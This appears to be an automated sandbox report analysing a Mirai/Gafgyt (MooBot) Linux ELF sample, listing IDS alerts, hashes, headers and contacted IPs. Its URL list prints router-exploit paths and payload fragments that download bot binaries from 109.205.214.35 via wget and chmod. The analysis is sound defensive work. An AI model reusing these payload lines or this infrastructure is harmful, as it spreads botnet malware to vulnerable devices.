Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35322
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46796 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35258 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35352 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35352
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 40514 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40002 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37860 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 40002 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53382 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40514 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40574 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40514
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40574
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 53382
Source: unknown	Network traffic detected: HTTP traffic on port 38560 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59820 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40002 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37186 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59820 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59008 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53410 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37232 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37186
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39340 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37232
Source: unknown	Network traffic detected: HTTP traffic on port 53462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49164
Source: unknown	Network traffic detected: HTTP traffic on port 59830 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 53518
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 37566 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45528 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45530 -> 52869

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: AFWaD3vnqR.elf, type: SAMPLE
Source: Yara match	File source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: AFWaD3vnqR.elf, type: SAMPLE
Source: Yara match	File source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Gafgyt

Source: Yara match	File source: AFWaD3vnqR.elf, type: SAMPLE
Source: Yara match	File source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: AFWaD3vnqR.elf, type: SAMPLE
Source: Yara match	File source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Command and Scripting Interpreter	2 Scripting	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
AFWaD3vnqR.elf	68%	ReversingLabs	Linux.Trojan.Mirai
AFWaD3vnqR.elf	62%	Virustotal		Browse
AFWaD3vnqR.elf	100%	Avira	EXP/ELF.Mirai.Z.A
AFWaD3vnqR.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://purenetworks.com/HNAP1/	0%	URL Reputation	safe
http://127.0.0.1:80/tmUnblock.cgi	0%	Avira URL Cloud	safe
http://109.205.214.35/mips	100%	Avira URL Cloud	malware
http://109.205.214.35/arm7;chmod	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe
http://109.205.214.35/x86	100%	Avira URL Cloud	malware
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Virustotal		Browse
http://109.205.214.35/mips	8%	Virustotal		Browse
http://109.205.214.35/arm7;chmod	2%	Virustotal		Browse
http://109.205.214.35/x86	13%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://127.0.0.1/cgi-bin/ViewLog.asp	1%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://127.0.0.1:7547/UD/act?1	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://109.205.214.35/mpsl;chmod	0%	Avira URL Cloud	safe
http://109.205.214.35/mips;	100%	Avira URL Cloud	malware
http://127.0.0.1:80/tmUnblock.cgi	0%	Virustotal		Browse
http://127.0.0.1:7547/UD/act?1	1%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/tmUnblock.cgi	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1/cgi-bin/ViewLog.asp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:7547/UD/act?1	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/picdesc.xml	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://109.205.214.35/arm7;chmod	AFWaD3vnqR.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.205.214.35/mips	AFWaD3vnqR.elf	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://109.205.214.35/x86	AFWaD3vnqR.elf	false	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	AFWaD3vnqR.elf	false		high
http://purenetworks.com/HNAP1/	AFWaD3vnqR.elf	false	URL Reputation: safe	unknown
http://cpanel.com/?utm_source=cpan	AFWaD3vnqR.elf, 5446.1.00007ffd8cc58000.00007ffd8cc79000.rw-.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	AFWaD3vnqR.elf	false		high
http://109.205.214.35/mpsl;chmod	AFWaD3vnqR.elf	false	Avira URL Cloud: safe	unknown
http://109.205.214.35/mips;	AFWaD3vnqR.elf	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
118.193.69.123	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
71.82.186.47	unknown	United States	20115	CHARTER-20115US	false
172.99.210.175	unknown	Reserved	395799	SVBUS	false
179.36.81.35	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
200.175.108.119	unknown	Brazil	18881	TELEFONICABRASILSABR	false
66.111.87.152	unknown	Canada	13768	COGECO-PEER1CA	false
181.13.216.183	unknown	Argentina	7303	TelecomArgentinaSAAR	false
95.190.77.91	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
178.121.229.45	unknown	Belarus	6697	BELPAK-ASBELPAKBY	false
98.102.147.237	unknown	United States	10796	TWC-10796-MIDWESTUS	false
181.99.116.128	unknown	Argentina	7303	TelecomArgentinaSAAR	false
184.43.77.7	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
184.37.225.218	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
173.199.168.242	unknown	United States	32244	LIQUIDWEBUS	false
179.18.249.93	unknown	Colombia	22698	AVANTELSASCO	false
109.142.223.140	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
194.208.11.117	unknown	Austria	5385	RUSSMEDIA-ITAT	false
184.75.158.191	unknown	United States	22379	MANIFOLDUS	false
64.127.48.21	unknown	United States	15227	LUMOSUS	false
181.7.145.109	unknown	Argentina	7303	TelecomArgentinaSAAR	false
98.126.6.27	unknown	United States	35908	VPLSNETUS	false
203.91.16.83	unknown	Taiwan; Republic of China (ROC)	38266	VODAFONE-INVodafoneIndiaLtdIN	false
98.211.40.132	unknown	United States	7922	COMCAST-7922US	false
200.13.169.234	unknown	El Salvador	27773	MILLICOMCABLEELSALVADORSADECVSV	false
86.114.146.176	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
169.27.168.148	unknown	United States	37611	AfrihostZA	false
86.175.248.212	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
197.141.53.52	unknown	Algeria	36891	ICOSNET-ASDZ	false
161.50.51.198	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
178.212.27.97	unknown	Poland	197186	PRESTIZ-SC-POLANDPL	false
189.167.152.82	unknown	Mexico	8151	UninetSAdeCVMX	false
213.236.241.69	unknown	Norway	25400	TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO	false
42.117.139.125	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
98.74.118.45	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
112.113.16.195	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
111.191.173.71	unknown	Japan	37903	EMOBILEYmobileCorporationJP	false
98.202.3.71	unknown	United States	7922	COMCAST-7922US	false
95.183.142.114	unknown	Turkey	8517	ULAKNETTR	false
172.126.245.207	unknown	United States	7018	ATT-INTERNET4US	false
19.244.187.18	unknown	United States	3	MIT-GATEWAYSUS	false
86.21.69.179	unknown	United Kingdom	5089	NTLGB	false
34.102.181.217	unknown	United States	15169	GOOGLEUS	false
213.58.5.237	unknown	Portugal	9186	ONILisbonPortugalPT	false
98.102.147.210	unknown	United States	10796	TWC-10796-MIDWESTUS	false
189.159.228.9	unknown	Mexico	8151	UninetSAdeCVMX	false
98.117.62.46	unknown	United States	701	UUNETUS	false
98.211.40.148	unknown	United States	7922	COMCAST-7922US	false
98.89.219.96	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
85.127.123.138	unknown	Austria	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
98.51.106.0	unknown	United States	7922	COMCAST-7922US	false
84.151.191.43	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
98.48.231.124	unknown	United States	7922	COMCAST-7922US	false
62.245.191.252	unknown	Germany	8767	MNET-ASGermanyDE	false
172.126.245.212	unknown	United States	7018	ATT-INTERNET4US	false
212.26.25.25	unknown	Saudi Arabia	8895	ISUInternetServicesUnitISUSA	false
213.180.97.154	unknown	Latvia	20910	BALTKOM-ASLV	false
12.204.194.91	unknown	United States	19957	TENNESSEE-NETUS	false
181.212.43.166	unknown	Chile	16629	CTCCORPSATELEFONICAEMPRESASCL	false
82.196.94.24	unknown	Russian Federation	20632	PETERSTAR-ASSaint-PetersburgRU	false
213.56.28.217	unknown	France	3215	FranceTelecom-OrangeFR	false
169.209.98.57	unknown	Korea Republic of	37611	AfrihostZA	false
180.174.176.13	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
126.9.249.11	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
189.39.203.66	unknown	Brazil	262669	KONNETINFORMATICAEIRELI-EPPBR	false
172.99.210.165	unknown	Reserved	395799	SVBUS	false
118.227.192.206	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
184.75.158.177	unknown	United States	22379	MANIFOLDUS	false
178.114.204.51	unknown	Austria	8437	UTA-ASAT	false
98.131.204.211	unknown	United States	46606	UNIFIEDLAYER-AS-1US	false
178.59.58.192	unknown	Greece	6866	CYTA-NETWORKInternetServicesCY	false
213.126.148.35	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
205.110.60.199	unknown	United States	1540	DNIC-ASBLK-01534-01546US	false
80.153.239.19	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
8.195.50.80	unknown	United States	3356	LEVEL3US	false
197.149.52.186	unknown	Madagascar	37054	Telecom-MalagasyMG	false
212.95.22.33	unknown	Austria	8412	TMARennweg97-99AT	false
77.133.16.203	unknown	France	15557	LDCOMNETFR	false
181.177.244.148	unknown	Peru	27843	OPTICALTECHNOLOGIESSACPE	false
98.198.78.65	unknown	United States	7922	COMCAST-7922US	false
57.27.35.175	unknown	Belgium	2686	ATGS-MMD-ASUS	false
184.29.182.90	unknown	United States	16625	AKAMAI-ASUS	false
196.53.248.93	unknown	South Africa	56309	SIAMDATA-TH408Fl4CATTOWERTH	false
62.144.231.123	unknown	Germany	12312	ECOTELDE	false
149.190.38.3	unknown	United Kingdom	87	INDIANA-ASUS	false
172.75.250.82	unknown	United States	11426	TWC-11426-CAROLINASUS	false
178.16.55.185	unknown	Germany	40999	DUSNET-ASDE	false
189.248.177.41	unknown	Mexico	8151	UninetSAdeCVMX	false
181.180.20.104	unknown	Venezuela	262210	VIETTELPERUSACPE	false
184.42.59.160	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
163.230.237.190	unknown	United States	27336	SENTARA-HEALTH-CAREUS	false
184.133.245.123	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
189.246.1.196	unknown	Mexico	8151	UninetSAdeCVMX	false
62.76.192.60	unknown	Russian Federation	200135	FLEXSOFT-ASRU	false
196.126.95.149	unknown	Morocco	36925	ASMediMA	false
172.227.134.167	unknown	United States	20940	AKAMAI-ASN1EU	false
156.154.241.28	unknown	United States	19905	NEUSTAR-AS6US	false
178.187.213.4	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
62.242.237.99	unknown	Denmark	3292	TDCTDCASDK	false
62.161.114.205	unknown	France	3215	FranceTelecom-OrangeFR	false
212.72.215.70	unknown	Bulgaria	9127	NETISSAT-ASInternetServiceProviderBG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
178.121.229.45	SGn8NrUIZy	Get hash	malicious	Gafgyt, Mirai	Browse
	JK74vZMlwp	Get hash	malicious	Gafgyt, Mirai	Browse
	R9kV5GcwPz	Get hash	malicious	Mirai	Browse
71.82.186.47	oLoZta8fvZ.elf	Get hash	malicious	Mirai	Browse
71.82.186.47	SecuriteInfo.com.Linux.Siggen.9999.19453.25452.elf	Get hash	malicious	Mirai	Browse
98.102.147.237	NlC7bILv2U	Get hash	malicious	Mirai	Browse
181.99.116.128	Z4s9xPQyPM.elf	Get hash	malicious	Unknown	Browse
172.99.210.175	rbFaYhNKZ7.elf	Get hash	malicious	Mirai	Browse
184.43.77.7	5V5oGkJhwW	Get hash	malicious	Gafgyt Mirai	Browse
184.37.225.218	cYmaIB9Udl	Get hash	malicious	Mirai	Browse
184.37.225.218	rrnPffQBX8	Get hash	malicious	Mirai	Browse
181.13.216.183	YE4p8EBJBg.elf	Get hash	malicious	Mirai	Browse
	d3Kc55Uhwn	Get hash	malicious	Mirai	Browse
	AMBfj6tZ3S	Get hash	malicious	Mirai	Browse
	V5tVKvyhsW	Get hash	malicious	Gafgyt, Mirai	Browse
	6Zcc7k2JZy	Get hash	malicious	Mirai	Browse
95.190.77.91	0Nk3Hir8z2.elf	Get hash	malicious	Mirai	Browse
	GCuOwQV8pa.elf	Get hash	malicious	Mirai	Browse
	kbo5fVgZ7T	Get hash	malicious	Mirai	Browse
	Vjeta9CbXg	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHARTER-20115US	fIupB48xS0.elf	Get hash	malicious	Gafgyt, Mirai	Browse	172.222.74.221
	xktih0mnmY.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.222.74.210
	d0iDboIDfK.elf	Get hash	malicious	Mirai	Browse	71.14.195.185
	7rlvP4sWKG.elf	Get hash	malicious	Mirai, Okiru	Browse	68.187.153.49
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	47.49.209.229
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	24.217.22.102
	huhu.x86-20240319-1540.elf	Get hash	malicious	Mirai, Okiru	Browse	71.88.149.170
	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	47.26.216.19
	qCc1a4w5YZ.exe	Get hash	malicious	Wannacry	Browse	71.12.218.12
	TF2AD5Jnbu.elf	Get hash	malicious	Unknown	Browse	68.186.15.196
TELEFONICABRASILSABR	2Uuy8xXeYj.elf	Get hash	malicious	Mirai, Gafgyt	Browse	187.75.183.61
	AMjH2Tev6H.elf	Get hash	malicious	Mirai, Gafgyt	Browse	191.19.149.227
	LmRWdFDFaQ.elf	Get hash	malicious	Mirai, Gafgyt	Browse	189.68.13.182
	bIHCEUuP4x.elf	Get hash	malicious	Mirai, Gafgyt	Browse	187.75.183.72
	Ly0ms78iom.elf	Get hash	malicious	Mirai	Browse	186.239.252.152
	mUP7fvcqLi.elf	Get hash	malicious	Mirai	Browse	187.35.62.100
	zJO55iLN3G.elf	Get hash	malicious	Unknown	Browse	177.156.26.39
	7rlvP4sWKG.elf	Get hash	malicious	Mirai, Okiru	Browse	189.96.48.185
	5dm0sjynSD.elf	Get hash	malicious	Unknown	Browse	186.213.68.224
	o7EitOEfWr.elf	Get hash	malicious	Unknown	Browse	179.86.54.115
CNIX-APChinaNetworksInter-ExchangeCN	SecuriteInfo.com.Win32.SpywareX-gen.17987.20908.exe	Get hash	malicious	Unknown	Browse	101.43.96.192
	LmRWdFDFaQ.elf	Get hash	malicious	Mirai, Gafgyt	Browse	123.58.228.40
	bIHCEUuP4x.elf	Get hash	malicious	Mirai, Gafgyt	Browse	101.54.2.98
	d0iDboIDfK.elf	Get hash	malicious	Mirai	Browse	106.38.109.239
	mUP7fvcqLi.elf	Get hash	malicious	Mirai	Browse	101.40.10.176
	5dm0sjynSD.elf	Get hash	malicious	Unknown	Browse	58.116.87.245
	7p4wRYn0OK.elf	Get hash	malicious	Mirai	Browse	171.87.220.27
	PD1Afd15RS.elf	Get hash	malicious	Mirai	Browse	116.164.107.91
	usCv5xTgmC.elf	Get hash	malicious	Unknown	Browse	116.187.57.19
	QGN4hQprkC.elf	Get hash	malicious	Mirai	Browse	115.171.23.131
TelefonicadeArgentinaAR	I9k2Q7HKfO.elf	Get hash	malicious	Mirai, Gafgyt	Browse	201.181.242.152
	xktih0mnmY.elf	Get hash	malicious	Mirai, Gafgyt	Browse	201.180.128.200
	W8kxmMRqUB.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	181.26.141.206
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	186.134.221.139
	PD1Afd15RS.elf	Get hash	malicious	Mirai	Browse	181.26.83.219
	USeZCMmN0v.elf	Get hash	malicious	Unknown	Browse	190.175.143.235
	pERaPMaznu.elf	Get hash	malicious	Mirai	Browse	179.36.56.73
	4lXTg8P7Ih.elf	Get hash	malicious	Mirai	Browse	186.57.171.109
	o0KR5B0IZn.elf	Get hash	malicious	Mirai	Browse	186.57.123.221
	wNCWSwl1Lv.elf	Get hash	malicious	Mirai	Browse	201.177.4.211
SVBUS	AMjH2Tev6H.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.99.210.151
	bIHCEUuP4x.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.99.210.166
	https://firebasestorage.googleapis.com/v0/b/fsdhdhdfhsfgfd.appspot.com/o/vabscdvhbasfsdg.html?alt=media&token=95df98a7-97fa-4d7c-b4ee-c9043ec71fe4#4PsusQ114JNAU7whboqpjinq20BUWHBSPOQPGYLRR642LGOF4744j9,hxxps://firebasestorage.googleapis.com/v0/b/fsdhdhdfhsfgfd.appspot.com/o/vabscdvhbasfsdg.html?alt=media&token=95df98a7-97fa-4d7c-b4ee-c9043ec71fe4#4XXvyK114HJJc7pfqdtijsza20FMGPFLZBTLYZSGC642KAMB4744n9,hxxps://firebasestorage.googleapis.com/v0/b/fsdhdhdfhsfgfd.appspot.com/o/vabscdvhbasfsdg.html?alt=media&token=95df98a7-97fa-4d7c-b4ee-c9043ec71fe4#5HpEmk114bzIE7ttpsirxcoa20EPPQJOPLFVMTHLT642CQRQ4744E9	Get hash	malicious	Phisher	Browse	172.99.172.128
	https://363927.ellsworthmail.com/email/click/3/363927/dL9f0fal-X7g5UBlCi5QfJvvHDZHITJrV-Ic3bn2ygQ.2#cl!d=0_pt!l=442!m=55!o=10756	Get hash	malicious	Phisher	Browse	172.99.172.22
	KuWSWi7UYX.elf	Get hash	malicious	Mirai	Browse	172.99.210.116
	SecuriteInfo.com.Linux.Siggen.9999.20734.15655.elf	Get hash	malicious	Mirai	Browse	172.99.210.148
	6FQG7ckQYK.elf	Get hash	malicious	Mirai	Browse	172.99.210.139
	https://kiddushes.com/0/0/0/8e76d9aee5809553ad6668c7bfbfd114/oth23	Get hash	malicious	Phisher	Browse	172.99.173.7
	https://storage.googleapis.com/edusa/algonquincollege.html#4cCRYb398kcWP32jndkfhfjyc4MIWDSMDNXLSZCFF1708863VSUP299741N9	Get hash	malicious	Phisher	Browse	172.99.172.246
	https://storage.googleapis.com/edusa/algonquincollege.html#4oIXrT398LnkF32ajqxirfcrg4NWQPVFNZXVDZWNH1708863JDQB299741a9	Get hash	malicious	Unknown	Browse	172.99.172.246

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.413030438667021
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	AFWaD3vnqR.elf
File size:	122'848 bytes
MD5:	d86f1705e5e8b6dd204b285b9b5bdb68
SHA1:	de0855f7475b25346cac04041900e3e949f08100
SHA256:	b9c4aaded0e769c3da089f2250370b90158321a402d3856a9eae04911fac77a9
SHA512:	c8f0756478779590f92a89e5fb5f7bf3e68e51c4c6f19ec222f75bb9553a5762f15878e8027321312b3f6061f0ec87c89463498e2bc42b847d2e0e2e54999764
SSDEEP:	1536:Lui4JKIHdW178xZFoe3rNptI0jnltmx45iMu8r/Z/6KTYEhji4JRU:KiCKidWtC/oe3rNgKQx45G8LZPEEhu
TLSH:	D1C32806768244FDC04AD2B57A5F6E36DC21B9ED0336B1AB73C0FA263C5CA21573BA54
File Content Preview:	.ELF..............>.......@.....@.......`...........@.8...@.......................@.......@...............................................Q.......Q.....(........3..............Q.td....................................................H...._........H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	122208
Section Header Size:	64
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	1
.text	PROGBITS	0x400100	0x100	0x19326	0x0	0x6	AX	16
.fini	PROGBITS	0x419426	0x19426	0xe	0x0	0x6	AX	1
.rodata	PROGBITS	0x419440	0x19440	0x43b0	0x0	0x2	A	32
.ctors	PROGBITS	0x51d7f8	0x1d7f8	0x10	0x0	0x3	WA	8
.dtors	PROGBITS	0x51d808	0x1d808	0x10	0x0	0x3	WA	8
.data	PROGBITS	0x51d820	0x1d820	0x500	0x0	0x3	WA	32
.bss	NOBITS	0x51dd20	0x1dd20	0x2ed0	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x1dd20	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x1d7f0	0x1d7f0	6.4575	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x1d7f8	0x51d7f8	0x51d7f8	0x528	0x33f8	2.1625	0x6	RW	0x100000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/21/24-05:21:54.323417	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	33636	65535	192.168.2.13	109.205.214.35
03/21/24-05:21:51.957294	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	33606	65535	192.168.2.13	109.205.214.35
03/21/24-05:21:50.625160	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	33204	65535	192.168.2.13	109.205.214.35

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 21, 2024 05:21:47.375689030 CET	48688	37215	192.168.2.13	197.152.84.105
